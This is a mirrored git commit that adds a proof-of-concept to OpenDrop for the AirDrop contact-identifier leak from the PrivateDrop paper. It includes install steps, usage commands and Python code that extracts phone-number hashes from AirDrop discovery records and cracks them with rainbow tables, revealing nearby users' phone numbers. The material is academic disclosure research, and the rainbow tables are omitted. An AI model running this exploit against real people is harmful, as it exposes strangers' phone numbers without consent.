mirror of
https://github.com/seemoo-lab/opendrop.git
synced 2026-09-16 16:16:12 -04:00
Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
81ddc07996 |
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "rt_phone_numbers"]
|
||||||
|
path = rt_phone_numbers
|
||||||
|
url = https://github.com/contact-discovery/rt_phone_numbers.git
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
# PoC: AirDrop Phone Number Leak
|
||||||
|
|
||||||
|
This PoC demonstrates the contact identifier leakage in Apple AirDrop that was described in
|
||||||
|
|
||||||
|
* **[HHSSW21]** Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop** in _30th USENIX Security Symposium_. [Website](https://privatedrop.github.io). [Preprint](https://www.usenix.org/system/files/sec21fall-heinrich.pdf).
|
||||||
|
|
||||||
|
The paper also proposes a privacy-preserving drop-in replacement for Apple AirDrop.
|
||||||
|
|
||||||
|
**We notified Apple about this vulnerability on May 11, 2019. Until today, Apple has neither mitigated the issue nor informed us that they are planning to do so.
|
||||||
|
This means that current Apple systems are still vulnerable (iOS 14.5 and macOS 11.3 as of May 5, 2021).**
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
Run the following instructions on a Mac (tested with macOS 11.2.3).
|
||||||
|
|
||||||
|
1. Checkout the repository.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/seemoo-lab/opendrop.git
|
||||||
|
cd opendrop
|
||||||
|
git checkout poc-phonenumber-leak
|
||||||
|
git submodule update --init
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Install Python dependencies.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pip3 install -r requirements.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Build [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
brew install libomp
|
||||||
|
cd rt_phone_numbers
|
||||||
|
make -f Makefile.macOS
|
||||||
|
cd ..
|
||||||
|
```
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
Our PoC is able to exploit both vulnerabilities explained in [HHSSW21]. We provide usage instructions below.
|
||||||
|
|
||||||
|
**Disclaimer:** We omit precomputed rainbow tables generated with [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers)'s `rtgen` in this PoC.
|
||||||
|
Consequently, you will see the following message when running this PoC without modification: _"Could not recover hashed phone number: No rainbow tables provided."_
|
||||||
|
|
||||||
|
### Contact Identifier Leakage of Sender (§3.3 in [HHSSW21])
|
||||||
|
|
||||||
|
Simply run the following and wait for someone in proximity to open the AirDrop sharing menu.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 -m opendrop receive
|
||||||
|
```
|
||||||
|
|
||||||
|
An example output would look like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
Announcing service: host opendrop, address fe80::c8b9:fbff:fee9:d544, port 8771
|
||||||
|
Starting HTTPS server
|
||||||
|
Nearby phone number: +49<...>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Contact Identifier Leakage of Receiver (§3.4 in [HHSSW21])
|
||||||
|
|
||||||
|
Exploiting this vulnerability requires the victim to have the attacker in their address book.
|
||||||
|
In particular, the attacker needs to present a valid AirDrop certificate containing its contact identifiers to the victim.
|
||||||
|
You can follow [these instructions](https://github.com/seemoo-lab/airdrop-keychain-extractor) to extract your current AirDrop certificate and use it with OpenDrop.
|
||||||
|
This attack does not require any interaction on part of the victim. Simply run:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 -m opendrop find
|
||||||
|
```
|
||||||
|
|
||||||
|
An example output would look like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
Looking for receivers. Press Ctrl+C to stop ...
|
||||||
|
Nearby phone number: +49<...>
|
||||||
|
Found index 0 ID a019b536c38b name John Doe's iPhone
|
||||||
|
```
|
||||||
@@ -141,6 +141,11 @@ class AirDropClient:
|
|||||||
_, response_bytes = self.send_POST("/Discover", discover_plist_binary)
|
_, response_bytes = self.send_POST("/Discover", discover_plist_binary)
|
||||||
response = plistlib.loads(response_bytes)
|
response = plistlib.loads(response_bytes)
|
||||||
|
|
||||||
|
# Extract and lookup phone number hashes from validation record
|
||||||
|
validation_record = response["ReceiverRecordData"]
|
||||||
|
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
|
||||||
|
AirDropUtil.lookup_phone_hashes(hashes)
|
||||||
|
|
||||||
# if name is returned, then receiver is discoverable
|
# if name is returned, then receiver is discoverable
|
||||||
return response.get("ReceiverComputerName")
|
return response.get("ReceiverComputerName")
|
||||||
|
|
||||||
|
|||||||
@@ -170,6 +170,12 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
|
|||||||
self.config, post_data, "receive_discover_request.plist"
|
self.config, post_data, "receive_discover_request.plist"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
# Extract and lookup phone number hashes from validation record
|
||||||
|
discover_request = plistlib.loads(post_data)
|
||||||
|
validation_record = discover_request["SenderRecordData"]
|
||||||
|
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
|
||||||
|
AirDropUtil.lookup_phone_hashes(hashes)
|
||||||
|
|
||||||
# sample media capabilities as recorded from macOS 10.13.3
|
# sample media capabilities as recorded from macOS 10.13.3
|
||||||
media_capabilities = {
|
media_capabilities = {
|
||||||
"Version": 1,
|
"Version": 1,
|
||||||
|
|||||||
@@ -17,11 +17,15 @@ You should have received a copy of the GNU General Public License
|
|||||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import glob
|
||||||
import io
|
import io
|
||||||
import ipaddress
|
import ipaddress
|
||||||
import os
|
import os
|
||||||
|
import plistlib
|
||||||
|
import subprocess
|
||||||
|
|
||||||
import ifaddr
|
import ifaddr
|
||||||
|
from ctypescrypto import cms
|
||||||
from libarchive.entry import ArchiveEntry, new_archive_entry
|
from libarchive.entry import ArchiveEntry, new_archive_entry
|
||||||
from libarchive.ffi import ( # pylint: disable=no-name-in-module
|
from libarchive.ffi import ( # pylint: disable=no-name-in-module
|
||||||
ARCHIVE_EOF,
|
ARCHIVE_EOF,
|
||||||
@@ -168,6 +172,45 @@ class AirDropUtil:
|
|||||||
else: # assume bytes-like
|
else: # assume bytes-like
|
||||||
file.write(data)
|
file.write(data)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_hashes_from_validation_record(validation_record):
|
||||||
|
data = cms.CMS(validation_record, format="DER").data
|
||||||
|
data = plistlib.loads(data.encode())
|
||||||
|
phone_hashes = data["ValidatedPhoneHashes"]
|
||||||
|
return phone_hashes
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def lookup_phone_hashes(hashes):
|
||||||
|
for hash_ in hashes:
|
||||||
|
AirDropUtil.lookup_phone_hash(hash_)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def lookup_phone_hash(hash_):
|
||||||
|
rcrack_dir = os.path.join(
|
||||||
|
os.path.dirname(os.path.realpath(__file__)), "../rt_phone_numbers/bin"
|
||||||
|
)
|
||||||
|
rcrack_bin = os.path.join(rcrack_dir, "rcrack")
|
||||||
|
rcrack_table = ""
|
||||||
|
rcrack_tables = glob.glob(rcrack_table)
|
||||||
|
|
||||||
|
if len(rcrack_tables) == 0:
|
||||||
|
print("Could not recover hashed phone number: No rainbow tables provided.")
|
||||||
|
return
|
||||||
|
|
||||||
|
result = subprocess.run(
|
||||||
|
[rcrack_bin] + rcrack_tables + ["-h", hash_],
|
||||||
|
text=True,
|
||||||
|
cwd=rcrack_dir,
|
||||||
|
capture_output=True,
|
||||||
|
check=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
for line in result.stdout.splitlines():
|
||||||
|
if not line.startswith("plaintext of"):
|
||||||
|
continue
|
||||||
|
number = line.split("is")[1].strip()
|
||||||
|
print(f"Nearby phone number: +{number}")
|
||||||
|
|
||||||
|
|
||||||
class AbsArchiveWrite(ArchiveWrite):
|
class AbsArchiveWrite(ArchiveWrite):
|
||||||
def add_abs_file(self, path, store_path):
|
def add_abs_file(self, path, store_path):
|
||||||
|
|||||||
@@ -0,0 +1,8 @@
|
|||||||
|
Pillow
|
||||||
|
ctypescrypto
|
||||||
|
fleep
|
||||||
|
ifaddr
|
||||||
|
libarchive-c
|
||||||
|
requests
|
||||||
|
requests_toolbelt
|
||||||
|
zeroconf>=0.24.2
|
||||||
Submodule
+1
Submodule rt_phone_numbers added at b8986d1a20
Reference in New Issue
Block a user